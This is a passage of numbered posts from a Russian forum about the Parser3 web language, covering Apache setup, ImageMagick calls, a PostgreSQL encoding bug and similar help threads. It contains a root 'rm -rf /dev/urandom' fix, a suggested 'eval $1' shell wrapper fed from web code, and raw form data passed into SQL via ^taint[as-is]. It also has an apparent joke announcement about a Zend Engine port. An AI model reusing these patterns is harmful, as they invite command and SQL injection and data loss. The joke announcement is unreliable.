Ща буду писать хостеру\
\
UPD: Написал. Починили. Трэд закрыт\
\
UPD2: \
Проблема была решена двумя командами выполнеными от root:\
rm -rf /dev/urandom  \
mknod -m 644 /dev/urandom c 1 9"
"72117","Почему все ссылаются на .htaccess?\
\
Переклыдывать все логику на апач очень странно, \
да и не экономично.\
\
Достаточно прописать \
[code]RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule .*$ your-handler.p[/code]\
и дальше парсить только $request:uri и принимать соотв. решения."
"72118","А как-же сессии? Пусть даже только \"сессионные\"."
"72119","Видимо товарищи ни когда не сталкивались со статусом\
REQUEST_URI_TOO_LONG\
\
:-)"
"72120","В парсере есть таблицы перекодировок. Можно ручками.\
Или (лучше) используйте утилиту iconv."
"72121","UUID можно тащить из MySQL, например. Хотя он тоже может юзать системные генераторы случайных чисел."
"72122","[quote]Почему все ссылаются на .htaccess?[/quote]\
\
Потому что mod_rewrite — решение, специально для этой цели предназначенное.\
\
[quote]Переклыдывать все логику на апач очень странно,\
да и не экономично.[/quote]\
\
Неэкономично на каждый запрос дёргать cgi-процесс, который может выполнять серьёзную логику, а в итоге не заниматься генерацией результата.\
\
Каждый выбирает то, что ему наиболее удобно.\
Если не требуется переносимость на другой сервер — mod_rewrite отличное решение.\
Он же позволит гибко раздавать статику или организовать перенаправление минимальной ценой."
"72123","Максимальная длина URL настраивается.\
Насколько знаю, стандартом она никак не лимитуруется, данное ограничение — исключительно на уровне используемого сервера.\
\
Однако, я за всё время работы в web, ни разу не сталкивался с какими бы то ни было лимитами.\
\
Нужно подходить к вопросу разумно: ссылка на результат поиска длиной в 200–500 символов — вполне нормальное явление.\
Именно там, в очень узком применении, ей самое место."
"72124","Честно юзал поиск по форуму, нашел только его обсуждение и вопросы по нему. Но так и не понял, где его можно взять чтоб посмотреть что это такое.\
На сайте, Миши я понял, что была версия 3, теперь версия 4 +)."
"72126","cd %APPDATA%/Notepad++/\
userDefineLang.xml\
пытался прикрутить еще function list, но сильно хорошо получается, не силен в регеэкспах."
"72127","если да, то я знаю где расположен файл с подсветкой синтаксиса.\
проблема в том, что у этого редактора очень мало разных типов подсветки (Words1-Words4). мне этого не хватает.\
\
а вот про function list можно подробнее, я вообще не нашел как это делать. регекспы я бы написал."
"72128","в общем на подсветке свет клином не сошелся. А вот функшин лист очень кстати, он даже обладает быстрым поиском.\
http://sourceforge.net/projects/npp-plugins/files/Function%20List/\
советую брать версию FunctionList Plugin v2.0 BETA VC2005\
2,1 у меня крашит редактор, при попытки добавить правило.\
у себя настроил так\
начало функции\
[b]^@[/b]\
имя функции\
[b][\"\\w_]+[/b]\
\
PS по поводу стилейЮ их там намного больше можно сделать, я просто смотрю по примеру: опции, определение стилей. Выбираю например С++ и там появляется большой список. Скорее всего средствами ГУИ, можно добавить мало правил, а если править напрямую правила в конфигах можно добиться необходимого. \
в принципе этого хватает, для навигации по файлу."
"72129","а. плагин. точно. я-же его даже нашёл и скачал, а потом отвлёкся на что-то другое и напрочь забыл. спасибо за напоминание. %-)\
\
ну... хотелось всё таки использовать стандартные средства для подключения UserDefined языка.\
\
хотя возможно действительно лучше внедриться в langs.xml + stylers.xml да отправить изменения авторам редактора, пусть будут :-)\
\
UPDATE:\
плагин версии 2.1 у меня тоже не работает. я написал такое определение функций:\
Function Begin: ^@\
Function Name List: [^\\[]+\
Function End: \\[[\\w_;]*\\]\
\
а вообще отстой, что этот плагин не умеет работать с multiline. я хотел у него ещё и список классов засунуть :("
"72130","Здравствуйте.\
\
Мне случайно случилось что нашёл баг в Парсере 3.4.0.\
\
Здесь код:\
\
[code]\
@main[]\
$tab1[^table::create{one two three\
1	2	3}]\
$tab2[^table::create{column\
two}]\
\
$tab1.$tab2\
[/code]\
\
3.4.0 (compiled on i386-pc-win32) возвращает:\
Unhandled exception 0xC0000005 at 0x0044419F\
\
3.4.0 (compiled on i686-pc-linux-gnu) возвращает:\
Internal Server Error и ничто не попадает в лог\
\
3.3.0 (compiled on i386-pc-win32) и 3.3.0\
(compiled on i686-pc-linux-gnu) возвращает:\
\
Unhandled Exception\
tab2 is 'table', it has no string representation"
"72131","То что выпадает такая ошибка совсем не гуд\
Unhandled exception 0xC0000005 at 0x0044419F\
\
Но ведь и с кодом не все хорошо. По-моему должно быть так:\
[code]$tab1.[$tab2.column][/code]"
"72134","что понимать под мультилайн?\
там можно для одного языка несколько групп сделать, в каждой группе по не сколько правил или это не то, что вы хотите?"
"72135","[code]\
@CLASS<тут LF==\\n>\
MyClass\
[/code]\
\
у них всё анализируется построчно. т.е. одна сущность не может начинаться на одной строке и заканчиваться на другой.\
\
т.е. если взять функцию C++ и написать её заголовок в несколько строк -- он тоже не найдется, т.к. весь поиск идёт от одного перевода строки до другого.\
\
у нас с методами так сделать невозможно, но вот @CLASS и @USE -- запросто.\
\
а вообще я снёс плагин через час после установки, т.к. с ним появились существенные тормоза в работе редактора."
"72137","Как сделать, чтобы парсер не обрабатывал заданную директорию? Чтобы игнорировал её."
"72138","http://www.parser.ru/forum/?terms=removehandler&author=&doSearch=%CD%E0%E9%F2%E8"
"72139","Здравствуйте. Не убивайте, пожалуйста, за такой вопрос.\
А как получить значение переменной, к примеру, на странице index.html из какого-нибудь класса, или точней из переменной в методе класса. Такое возможно?"
"72141","А если по-другому поставлю вопрос. Как функцией вернуть сразу несколько результатов вычислений?"
"72143","Доброго дня.\
Не могу открыть файл справки.\
Тему подобную этой http://www.parser.ru/forum/?id=66179 читал.\
Там написано что в свойствах нажмите разблокировать.\
Должно быть окно похожее на это\
http://siava.ru/forum/files/2_1267274190.png\
\
Но на моем Win XP нет кнопки разблокировать в свойствах.\
Вот как это меню выглядит\
http://fotki.yandex.ru/users/ilavka/view/287106?page=0\
\
Все настройки MSIE 6 перелопалтил, но не могу запустить.\
Причем файл старой справки по парсеру (версия 3.2) прекрасно работает.\
А вот скачанные свежие версии файлов (версия 3.3 и 3.4) не могу открыть.\
Есть идеи?"
"72144","На форуме тут выкладывали, но ссылка уже не работает!"
"72145","С указателями и ссылками когдла \"на ты\" будете, всё станет проще."
"72147","А можете выложить где-нибудь файл подсветки? У меня версия 4.5.4 и там нету подсветки!"
"72148","Ой простите, есть, нашёл )"
"72152","http://rtp-traktor.ru/ - сайт на новом хостинге. стоит там GentOS. воткнул скрипт под РедХат - работает. http://rtp-komponent.ru/ - старый вариант - скрипт был под дебиан наверное. Сайт делал не я и я не в курсе возможностей парсера. Догадался только соответствующую версию качнуть. Проблема: если заметите вместо картинок ^photo[head-komplekt.gif] . В чем проблема? Как поправить?"
"72153","http://www.parser.ru/docs/lang/install4apachecgi.htm"
"72154","типо как тут http://www.parser.ru/forum/?id=71978"
"72155","во вкладке безопасность нету?"
"72156","Уважаемые гуру и монстры парсера опишу проблемму прошу помочь кто знает.\
На сегодняшний день есть сайт, в частности интернет магазин собственного изготовления, так вот возникла проблемма следующего плана: строка запроса у меня при работе с каталогом товаров (привожу реальную ссылку на произвольный товар) выглядит так: http://www.bt-sale.ru/?2&4&1&211&1 здесь сейчас пять параметров (это группа, тип, бренд, модель и флаг показывания этой модели) в реальности их количество может достигать десяти, естественно вся эта конструкция нормально не индексируется поисковыми роботами не смотря ни на какие ухищрения типа рисования сайтмапов расстановка времени изменения, значимости страниц и т.д. и т.п. Так вот было принято решение переделать все по принципу (тот же урл но по другому) http://www.bt-sale.ru/catalog/тип/группа/бренд/модель/?флаги обработки позиции естественно что все что после http://www.bt-sale.ru/catalog/ в реальности существовать не может... Как обработать запрос я в принципе понимаю но увы не знаю как заставить парсер перехватить запрос и обработать его и отдать нужную информацию с нужным урлом в адресной строке.\
Заранее спасибо всем ответившим."
"72158","И теперь хоть знаю как называется :) Еще раз спасибо."
"72159","http://rtp-traktor.ru/cgi-bin/parser3.cgi исполняется. выдает\
Parser/3.4.0 (compiled on i686-pc-linux-gnu)\
Вывод: парсер скопирован куда следует, права на него установлены правильные. \
\
Читаю далее:\
Если парсер скопирован правильно и вы не забыли прописать в .htaccess инструкции, указанные в документации, возможно вы забыли разрешить апачу обработку .htaccess в файле httpd.conf с помощью инструкции AllowOverride. \
Чтобы проверить, обрабатывается ли у вас .htaccess — впишите в него какую-нибудь заведомо неверную инструкцию, например «mytest», в самое начало. Увидил 500 ошибку — значит данный файл обрабатывается.\
\
Содержание .htaccess такое:"
"72161",".htacces:\
AddHandler parsed-html html \
#Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
Action parsed-html /cgi-bin/parser3.cgi\
\
DirectoryIndex index.html\
RewriteEngine On\
RewriteRule ^([^.]+)$ index.html?$1\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>\
\
Что же я не так сделал?"
"72162","Скорее всего это ситуация на которую указывал Sergey M - http://www.parser.ru/forum/?id=71978"
"72163","бд то нет никакой. и проект работал на старом хостинге."
"72164","напишите мне плиз в аську 6030221"
"72165","спасибо. справился. воткнул скрипт версии 3.3.0. видимо в 3.4.0 untaint появился. с чем едят не понял пока что.\
\
еще вопрос. не по теме правда. как под винду настроить работу скрипта на xampp? не хочу ставить готовый денвер. думаю заняться изучением парсера."
"72166","Что нужно и где прописать? У кого есть опыт поделитесь. И что скачать напишите. Заранее спасибо."
"72167","Та же история, браузер не при чем.\
 \
Парсер 3.2.2.\
\
Есть тело, но в $form ничего нет."
"72168","В базе данных храниться строка с датой. Как правильно подсчитать сколько времени прошло с этой даты? то есть допустим сколько времени прошло с запуска первого спутника земли в формате: лет, месяцев, дней, часов, минут."
"72171","Про настройку Апача в документации все подробно описано. Т.е. Вам надо понять в какие паки надо класть  cgi-скрипт и .htaccess.\
\
p.s. Сомнительно, что кто-то здесь активно использует XAMPP и сможет Вам помочь, но сомневаюсь, что будут серьезные проблемы. А вот когда разберетесь, то поделитесь на форуме - возможно пригодится Вашим последователям."
"72172","В чем собственно проблема? Сам использую уже довольно давно и проблем не возникало?"
"72173","Сама вкладка безопасность есть конечно.\
Но в ней устанавливаются разрешения доступа к файлу. Там полный доступ."
"72174","Если это не виндовый сайт конечно..."
"72175","Собственно. Парсер копируем сюда: c:\\xampp\\cgi-bin\\ как понял или можно что бы он находился в папке проекта: c:\\xampp\\htdocs\\project_name\\cgi-bin\\ (это как сделать?)\
\
Какой пакет или этих взять: http://www.parser.ru/download/win32/ ?\
CGI скрипт с поддержкой XML?\
\
Взял его скопировал в папку c:\\xampp\\cgi-bin\\\
Делаю тест http://localhost/cgi-bin/parser3.exe\
\
Выходит ошибка:\
Server error!\
\
The server encountered an internal error and was unable to complete your request.\
\
Error message: \
Premature end of script headers: parser3.exe\
\
If you think this is a server error, please contact the webmaster.\
\
Error 500\
\
Что не так?"
"72176","Поэтому возможно проще взять parser3_4_0_ru.exe?\
http://www.parser.ru/download/win32/"
"72178","Поскольку проект не в корне у xampp, например, http://project , а тут http://localhost/project/ то необходимо как то определить эту директорию (КАК?) \
\
Возникают ошибки при вызове других файлов. Например, не могу загрузить файл C:/xampp/htdocs/o/.html"
"72180","[quote]Поскольку проект не в корне у xampp, например, http://project , а тут http://localhost/project/ то необходимо как то определить эту директорию (КАК?) [/quote]\
\
Важно не только как, но чем и зачем. Или пишите понятнее, или давайте пример кода.\
\
[quote]Возникают ошибки при вызове других файлов. Например, не могу загрузить файл C:/xampp/htdocs/o/.html[/quote]\
\
В парсере все пути относительные или от корня сайта, абсолютные пути\
из соображений безопасности не поддерживаются."
"72181","Раз от корня. То только вариант виртуальный хост прописать. Решено"
"72182","Здравствуйте Парсеристы!\
\
У меня возникла проблема с file::exec. Проблема в том что хочю передать строку с пробелами до внешного скрипта. Именно ImageMagick. Чтоб моя проблема была более чисто представлена использую униксовский \"touch\" вместо \"convert\" от imageMagick.\
\
Вот код парсерный:\
[code]\
$f[^file::exec[/../private/bin/test.sh;;touch;big test]]\
$f[^file::exec[/../private/bin/test.sh;;touch;\"big test\"]]\
[/code]\
\
Вот test.sh:\
[code]\
#!/bin/bash\
$1 $2\
touch \"big test 2\"\
[/code]\
\
Создаеться только файлики:\
[b]big[/b]\
[b]\"big[/b]\
[b]big test 2[/b]\
\
нет файлика [b]big test[/b]\
\
Скажу тоже что уже проверял подход:\
$1 \"$2\"\
\
В том примере роботает правильно - но с имагеmagick - нет."
"72183","[b]Тепер росширённая проблема с imageMagick[/b]\
вот parser:\
[code]^file::exec[$sScript;;convert;-background;$hParam.background;-fill;$hParam.color;-font;$hParam.font;-pointsize;${hParam.size};label:$hParam.text;$hParam.sOutput][/code]\
\
вот bash:\
[code]\
#!/bin/bash\
export MAGICK_HOME=\"imageMagick\"\
export PATH=\"imageMagick/bin\"\
export MAGICK_CONFIGURE_PATH=\"imageMagick/lib/ImageMagick-6.5.1/config\"\
export MAGICK_CODER_MODULE_PATH=\"imageMagick/lib/ImageMagick-6.5.1/modules-Q16/coders\"  \
export MAGICK_TEMPORARY_PATH=\"_tmp\"\
export MAGICK_FONT_PATH=\"imageMagick.fonts\"\
export MAGICK_CODER_FILTER_PATH=\"imageMagick/share/ImageMagick-6.5.1/config\"\
export LD_LIBRARY_PATH=\"imageMagick/lib:imageMagick.liblcms/lib\"\
$1 $2 $3 $4 $5 $6 $7 $8 $9[/code]\
\
Проблема с label:$hParam.text\
\
вот работающий тестовый скрипт:\
convert -size 975x150 xc:\"rgb(0,0,0)\" -antialias -channel RGB -stroke \"rgb(178,178,178)\" -strokewidth 2 -fill \"rgb(178,178,178)\" -font _SiteSpecific/tomhorn.pl/fonts/CE29000D.TTF -pointsize 108 -draw \"text 30,110 '$1'\" $2\
\
\
Как передать кавычки через file::exec чтоб скрипт bash не понял что мне нужно передать именно кавычки,\
но только ограничить ими строку?\
\
За советы Большое заранее спасибо!!!!"
"72186","Чтобы не делать промежуточные скрипты только для задания переменных окружения, можно их задать в конфигурации веб-сервера - http://httpd.apache.org/docs/2.2/mod/mod_env.html\
\
Например, в .htaccess можно написать:\
[code]\
SetEnv MAGICK_HOME \"imageMagick\"\
SetEnv PATH \"imageMagick/bin\"\
SetEnv MAGICK_CONFIGURE_PATH \"imageMagick/lib/ImageMagick-6.5.1/config\"\
SetEnv  MAGICK_CODER_MODULE_PATH \"imageMagick/lib/ImageMagick-6.5.1/modules-Q16/coders\"  \
SetEnv  MAGICK_TEMPORARY_PATH \"_tmp\"\
SetEnv  MAGICK_FONT_PATH \"imageMagick.fonts\"\
SetEnv  MAGICK_CODER_FILTER_PATH \"imageMagick/share/ImageMagick-6.5.1/config\"\
SetEnv  LD_LIBRARY_PATH \"imageMagick/lib:imageMagick.liblcms/lib\"\
...\
[/code]\
\
И эти переменные попадут в скрипт, который вызывается через file::exec.\
\
p.s. Возможно, что разработчики когда-нибудь снимут ограничение на задание переменных окружения через file::exec - мне кажется, что подобные ограничения не сильно сказываются на безопасности."
"72187","так проще и нагляднее\
[code]$f[^file::exec[/../private/bin/test.sh;;convert -любые -опции source-file destination-file]][/code]\
\
bash скрипт тоже простой\
[code]#!/bin/bash\
$1[/code]"
"72188","[code]#!/bin/bash\
eval $1[/code]"
"72190","Спасибо за совет! Решение выглядить очень чисто :)\
\
Но что касаеться безопасности file::exec - тема уже обсаждалась \
Ссылка на заголовке."
"72192","Извините пожауйста\
Выглядить что у меня эти переменные не попали в скрипт, который вызывается через file::exec.\
\
[code]\
#!/bin/bash\
echo $CGI_PARSER_CONFIG\
[/code]\
\
Тот скрипт вызвынный через Parser не возвращает ничего.\
Остаёться только промежуточный скрипт пока в парсере не будет возможности создания всех переменных окружения.\
\
И ещё одно решение: заказать техподдержке установить imageMagick. Это найболее правильное решение.\
\
Ещё раз спасибо за советы."
"72193","с чем может быть связана такая ошибка?\
\
out of memory: failed to allocate 12 bytes. heap_used=59060224, heap_free=0, bytes_since_gc=62649040, total_bytes=62649040"
"72194","Разбирайтесь сколько ваш скрипт потребляет памяти (60 мегабайт в большинстве случаев это много). Возможно, что хостер ограничивает объем памяти для процесса. И т.д. и т.п."
"72195","мастер хост говорит -- для CGI-приложений максимальный объем потребляемой оперативной памяти\
ограничен 64 Мб\
\
а как узнать какой именно запрос превышает это значение?"
"72197","если out of memory -- то до postprocess-а, где записываем результаты в лог не доживём.\
\
с другой стороны, возможно там много проблемных страниц и часть чуть больше проблемные и поэтому не вписываются в лимит. в этом случае лог Erusage-а может помочь.\
\
P.S. error_log апача?"
"72198","правда не забудьте ознакомиться с обратно-несовместимыми изменениями.\
\
и имейте в виду, что разбираться все равно придется, ибо у вас потребление памяти действительно большое."
"72200","Но я подозреваю, что Вы спрашиваете о другом. Дело в том, что функция не является хранилищем данных (переменных), поэтому сама постановка вопроса некорректна."
"72201","Ну вот например:\
\
@bla[]\
$c[$a+$b]\
$d[$c+$b]\
\
@bla2[]\
хочу получить оттуда, например, значение переменной $c"
"72202","В моей практике были таки скрипты - нужно было базу данных перелопатить(анализировать, составлять, разбирать, разбрасывать и т.д.)\
В общем несколько тысяч циклов с полсотней запросов к базе и естественно вываливалась память. Решил тем что в конце каждого цикла поставил очистку памяти. память практически перестал кушать.\
Так что выходит."
"72203","такие вопросы предпочитаю решать силами SQL - не имею проблем."
"72204","Имеется некоторая таблица (PostgreSQL версия 8.3.1, кодировка UTF-8), в ней имеется некое поле типа character varying(60).\
Используется Parser версии 3.4.0 (до недавнего времени был Parser 3.2.0 и описанной ниже проблемы не было).\
\
При попытке записать в указанное поле (командами INSERT или UPDATE) некоторые русские слова, в поле записываются эти слова + несколько пробелов в конце.\
Например, вместо «Александр» записывается «Александр   », вместо «Андрей» записывается «Андрей  », вместо «бизнес» записывается «бизнес » и так далее...\
\
Однако другие русские слова (например, «Федор», «семинар», «клиенты») и слова написанные латиницей, записываются правильно.\
\
Это ошибка в драйвере PostgreSQL или у меня руки кривые?\
Поможет ли апгрейд PostgreSQL до версии 8.3.10 или до версии 8.4.3?\
\
Если это ошибка и апгрейд PostgreSQL не поможет, то что можете посоветовать чтобы обойти эту проблему (кроме совета: откатить Parser к старой версии)?\
\
Понятно, что при выводе на сайт удаление лишних пробелов тривиально решается с помощью метода trim[]. (Правда, тривиальность несколько блёкнет, если учесть то, что придётся просмотреть тысячи строк кода, чтобы найти все места, где такая проблема потенциально может возникнуть).\
\
А вот что делать если для такого поля требуется в том или ином виде использовать операцию сравнения внутри PostgreSQL? Записи «Александр» и «Александр   » в поле character varying - это разные значения. Операция сравнения будет давать «Александр   » > «Александр», сортировка будет работать неправильно, уникальные с точки зрения базы данных значения не будет уникальными с точки зрения человека. В спешном порядке переделывать поля character varying на character? Или есть более цивилизованные решения?"
"72205","по моему вы не поняли.\
класс Erusage обычно используется для того, чтобы собирать статистику используемой памяти/процессора и писать в лог-файл.\
\
после этого, взглянув на лог-файл можно увидеть проблемные страницы (увидеть их URL-ы). так вот в случае с out of memory в лог ничего не запишется, т.е. найти какой именно URL вызывает проблему -- не получится."
"72207","если ещё не сделали -- сделайте.\
- включите в него sql скрипт для создания тестовой таблички\
- включите в него простой скрипт на парсере, который добавляет данные в таблицу, потом достаёт и показывает.\
\
воспроизведёте в тестовых условиях -- присылайте."
"72209","Естественно, как указал Миша, переменные с и d появятся в экземпляре класса только после явного вызова функции bla.\
\
p.s. Не стоит забывать, что если в классе указана OPTIONS/locals, то переменные с и в в класс не попадут."
"72210","Вот пример:\
[code]\
	<form>\
		<input type=\"text\" name=\"text\"/>\
		<input type=\"submit\" name=\"bbb\" value=\"Отправить\"/>\
	</form>\
	^connect[$CONNECT_STRING]{\
		^void:sql{CREATE TABLE test_table (test_field varchar(60))}\
		^void:sql{INSERT INTO test_table (test_field) VALUES ('$form:text')}\
		<div>«^string:sql{SELECT test_field FROM test_table}»</div>\
		^void:sql{DROP TABLE test_table}\
	}\
[/code]\
\
Пока вышел из положения вот так:\
^void:sql{INSERT INTO test_table (test_field) VALUES ('^taint[as-is][$form:text]')}\
Но это очевидно плохое решение: данным, которые приходят в эту форму не следует доверять."
"72211","Но, скорее всего, она и не в парсере.\
\
Проведите полный тест:\
Помимо базы $form:text сохраняйте в файл, смотрите что там.\
^form:text.trim[] попробуйте.\
\
Вставьте заведомо правильные данные:\
[code]^void:sql{INSERT INTO test_table (test_field) VALUES ('Александр')}[/code]"
"72212","[quote]Проведите полный тест:[/quote]\
\
Всё это уже делал.\
\
[quote]Помимо базы $form:text сохраняйте в файл, смотрите что там.[/quote]\
\
Работает правильно - пробелов нет.\
\
[quote]^form:text.trim[] попробуйте.[/quote]\
\
^void:sql{INSERT INTO test_table (test_field) VALUES ('^form:text.trim[]')}\
\
Работает не правильно - пробелы в базу записываются.\
\
[quote]Вставьте заведомо правильные данные:\
^void:sql{INSERT INTO test_table (test_field) VALUES ('Александр')}[/quote]\
\
Работает правильно - пробелов нет.\
\
\
Очевидно, что неправильно обрабатываются грязные данные. Значит драйвер БД, PostgreSQL версии 8.3.1 и «обработчик грязных данных» не понимают друг друга...\
\
Если других идей нет, то буду просить хостера проапгрейдить базу до 8.4.2."
"72213","а попробуйте так:\
[code]\
^void:sql{INSERT INTO test_table (test_field) VALUES ('^taint[Александр]')}\
[/code]\
\
а вообще странно всё это. если бы проблема была в \"обработчике грязных данных\", то скорее всего ошибка вылезла бы и в других ситуациях и с другими серверами БД.\
\
пока я не представляю, как это может быть связано с версией PgSQL.\
\
есть возможность поставить рядом parser 3.2.0 и ещё раз перепроверить с ним?\
\
ещё расскажите про ваши кодировки: у вас всё в UTF8, или только БД?\
\
если у вас есть возможность собрать парсер, можете попробовать добавить в void.C после 127 строки такое:\
throw Exception(PARSER_RUNTIME, 0, \"%s\", statement_cstr);\
\
так в exception-е вы увидите что конкретно отдаётся драйверу."
"72214","[quote]^void:sql{INSERT INTO test_table (test_field) VALUES ('^taint[Александр]')}[/quote]\
\
Пробел добавляется.\
\
[quote]а вообще странно всё это. если бы проблема была в \"обработчике грязных данных\", то скорее всего ошибка вылезла бы и в других ситуациях и с другими серверами БД.[/quote]\
\
Странно. :-)\
Есть непроверенная информация, что с версией 8.3.10 всё работает правильно.\
\
[quote]есть возможность поставить рядом parser 3.2.0 и ещё раз перепроверить с ним?[/quote]\
\
Теоретически такая возможность есть. Только, боюсь, что самостоятельно я это не сделаю. Пообщаюсь с тех-поддержкой...\
\
[quote]ещё расскажите про ваши кодировки: у вас всё в UTF8, или только БД?[/quote]\
\
Страницы сайта отдаются в UTF8. А вот скрипты в Windows-1251.\
\
[quote]если у вас есть возможность собрать парсер[/quote]\
\
Кажется такой возможности хостер не предоставляет. Пообщаюсь с тех-поддержкой. Но настаивать на всесторонней проверке не буду. Если апгрейд БД решит эту проблему, то меня такое решение вполне устроит. Вот если не решит..."
"72215","просто возможно я смогу собрать и прислать...\
\
в принципе, с недавних пор для эскейпинга символов в грязных данных стала использоваться PgSQL-ная функция PQescapeStringConn (раньше использовался наш код, что не совсем правильно)\
\
если в какой-то версии PgSQL эту функцию как-то хитро поломали, то это теоретически может привести к подобным последствиям.\
\
а практически мы PgSQL не используем, поэтому на подобные грабли не наступали.\
\
в принципе, если это действительно поломано в PgSQL и проблема распространённая, то мы можем внедрить в драйвер возможность включить с помощью какой-нибудь опции старый механизм эскейпинга грязных данных с помощью нашего кода."
"72216","Пытаюсь запустить тестовую страницу под IIS 6 и 7.\
Без подключения parser3isapi.dll - показывает нужный текст (что парсер сейчас не подключен)\
При подключении обработчика - 500 ошибка, никаких логов нет (хотя стоит unhandled_exception_debug).\
\
В чем может быть причина?"
"72217","Как я уже писал, кодировка базы данных UTF-8, кодировка страниц - тоже, а вот кодировка скриптов - WIN-1251 (то есть $request:charset[windows-1251]).\
\
Если поставить $request:charset[utf-8], то всё начинает работать.\
\
При этом не важно, будет $response:charset[windows-1251] или $response:charset[utf-8].\
\
То есть, проблему можно, наверное, сформулировать так: не корректно работает перекодировка текста из windows-1251 в utf-8 при передаче «грязных» данных в PgSQL.\
\
Поскольку «чистые» данные перекодируются нормально, то наверное проблема действительно в PQescapeStringConn.\
\
На счёт распространённости проблемы. \
Я проверял в версиях PgSQL 8.3.1 и 8.3.10 - проблема есть. Может быть Vint (или кто-нибудь другой) проверит с учётом новых деталей в версии 8.4.2 - может быть там действительно всё работает. \
Как много людей использует PgSQL с utf-8 и скрипты win-кодировке? Может быть имеет смысл где-то в документации написать, что не следует использовать win-кодировку при работе с PgSQL?\
\
Для себя я решил, что просто перейду на utf-8. Это не сложно и даже не очень трудоёмко.\
\
Спасибо за помощь."
"72218","Загнал файлы парсера в win-1251, подключился к базе с ?charset=win (при этом база в utf), $request:charset и $response:charset тоже win, из формы записываю \"грязные\" данные -- пробельных символов не появляется.\
\
Могу ещё что-нибудь протестировать, пока не вернул обратно utf."
"72219","вы использовали ?ClientCharset=UTF-8 (перекдирование средствами парсера) или ?charset=win (перекодирование средствами PgSQL)?"
"72220","О, хорошая мысль!\
Сейчас вместо charset=win поставил ClientCharset=UTF-8 и при записи в базу пресловутого \"Андрей\" получаю \"Андрей  \".\
Баг?"
"72221","Так нагляднее будет:\
[code]\"Андрей\" получаю \"Андрей   \"[/code]"
"72223","Если поставить ?charset=win, то работает правильно."
"72226","[quote]\
Как много людей использует PgSQL с utf-8 и скрипты win-кодировке? Может быть имеет смысл где-то в документации написать, что не следует использовать win-кодировку при работе с PgSQL?\
[/quote]\
\
глупости. довольно нормальная ситуация.\
надо будет просто баг исправить (кажется уже нашел его) :)\
\
P.S. а вообще в документации вроде написано, что рекомендуется использовать перекодирование сервером, а не парсером :)"
"72227","Вот столкнулся с надобностью добавить в проект кросспостинг в твиттер\
решил завернуть в класс.\
:) добавляет нормально\
теперь осталось только еще сделать что-то такое для просмотра твитов-ретвитов и тех кто следует за нами. Мне все это пока не надо :) пользуйтесь чем есть.\
[code]\
@CLASS\
twitter\
\
\
\
\
@auto[]\
\
@init[tParam]\
\
$tParam[^hash::create[$tParam]]\
\
##\
##        Обязательные параметры       username  &     password\
##\
\
$self.username[$tParam.username]\
$self.password[$tParam.password]\
$self.tweeturl[^if(def $tParam.tweeturl){$tParam.tweeturl}{http://www.twitter.com/statuses/update.xml}]\
\
\
\
@add[tweet]\
\
^if(def $tweet){\
		\
		$tweetit[^file::load[text;$tweeturl;\
		 					$.charset[utf-8] \
		 					$.method[POST]\
		 					$.timeout(60)\
              $.form[ \
  								$.status[$tweet] \
							]\
							$.user[$username]\
							$.password[$password] 	\
		]]\
\
\
}\
\
[/code]"
"72228","Читайте в логе самого сервера. Скорее всего права на использование ДЛЛ парсера, но в логах точнее скажут."
"72229","[quote]глупости. довольно нормальная ситуация.\
надо будет просто баг исправить (кажется уже нашел его) :)[/quote]\
\
Ну, когда я это писал, я же не знал, что проблема в Parser'е. Я думал, что ошибка в методе PQescapeStringConn причём только в версиях 8.3.x...\
\
[quote]P.S. а вообще в документации вроде написано, что рекомендуется использовать перекодирование сервером, а не парсером :)[/quote]\
\
Да, действительно. Приложение 3. \
Вот теперь я себя чувствую глупцом. :-) Я думал, что вчера перечитал всё что есть в документации про SQL. А оказывается самый нужный раздел пропустил."
"72230","Здравствуйте.\
Скачал исходники для парсера 3-го, откомпилил - всё ОК.\
Взял библиотечку parser3isapi.dll с эмулировал работу сервера IIS с помощью приложения Win32. (Передаю параметр при вызове функции GetServerVariableProc: PATH_INFO. ReadClientProc и WriteClientProc делают своё дело, а ServerSupportFunctionProc возвращает true ) Постоянно вылетает ошибка в виде MessageBox(0,\"Fatal error in gc\",\"assertion failure\",0) при подгрузке библиотеки. В чем может быть дело? Есть дагадка что не определены stdout, stderr и stdin. И еще, ошибку try catch не ловит, а просто прога загрывается. Думал что это делает ISAPI::abort, но туда трассировка не доходит :-(\
\
Исправил метод загрузки библиотеки - помогло частично. Теперь сообщение не вылетает при запуске. Оно вылетает после моих диалоговых окошек. Во время работы парсеры есть вызовы  функций моих классов. Там встречаются функции диалоговых окон. Во время отображения которых всё вроде-бы ОК, но после завершения меня радостно приветствеут assertion failure. Есть подозрение, что это сборщик мусора. Можно ли его как-нить отключить? Может предпроцессорную директиву где-то задефайнить надо?"
"72231","подробности тут: http://www.parser.ru/forum/?id=72204\
\
пока этот баг можно обойти включив, как и рекомендуется в документации, перекодирование средствами сервера (?chrset=...), а не средствами парсера (?ClientCharset=...)"
"72232","Понятно, запомним на будущее если будет где-то win (сейчас везде где возможно используется utf)"
"72233","2 апреля 2010 г. начинется публичное тестирование бета-версии принципиально-новой версии языка Парсер3. Главным отличием новой версии станет переход Парсера с собственной виртуальной машины на промышленную, высокопроизводительную систему - Zend Engine 2. \
\
Не секрет, что сейчас Zend Engine является основной частью интерпретатора популярнейшего языка PHP - именно этот факт и определил выбор разработчиков. Использование новой виртуальной машины позволит программам на Парсере прозрачно вызывать любые функции из обширнейшей php-библиотеки, а также свободно объединять объектные модели языков. Например, из Парсера станет возможно использовать все механизмы CMS Битрикс (именно на ней разработчики проверяли работоспособность системы) без необходимости переписывать код сайта. Пока есть проблема с вызовом кода Парсера из PHP, планируется, что такая возможность появится в версии 4.1.3. \
\
Переход на новую версию максимально упрощен - фактически необходимо только переименовать все файлы auto.p в php.ini (это несовместимое с предыдущими версиями изменение - будьте внимательны). Более подробно обо всех изменениях в новой версии можно будет прочитать в файле README.\
\
Загрузить новую версию можно будет из раздела [url=http://www.parser.ru/download/]\"скачать\"[/url]"
"72235","Что-то намудил, пока вроде работает..."
"72236","Есть такой код:\
\
[code]\
char buffer[1024];\
\
static void _GetWorkSpace(Request& r, MethodParams& )\
{\
	::GetWorkSpace(0,buffer);\
	r.write_no_lang(*new VString(String(buffer)));\
}\
\
static void _GetPlanTitle(Request& r, MethodParams& )\
{\
	::GetPlanTitle(0buffer);\
	r.write_no_lang(*new VString(String(buffer)));\
}\
[/code]\
\
Если выполнить скрипт:\
[code]\
^Prime:GetPlanTitle[]\
^Prime:GetWorkSpace[]\
[/code]\
\
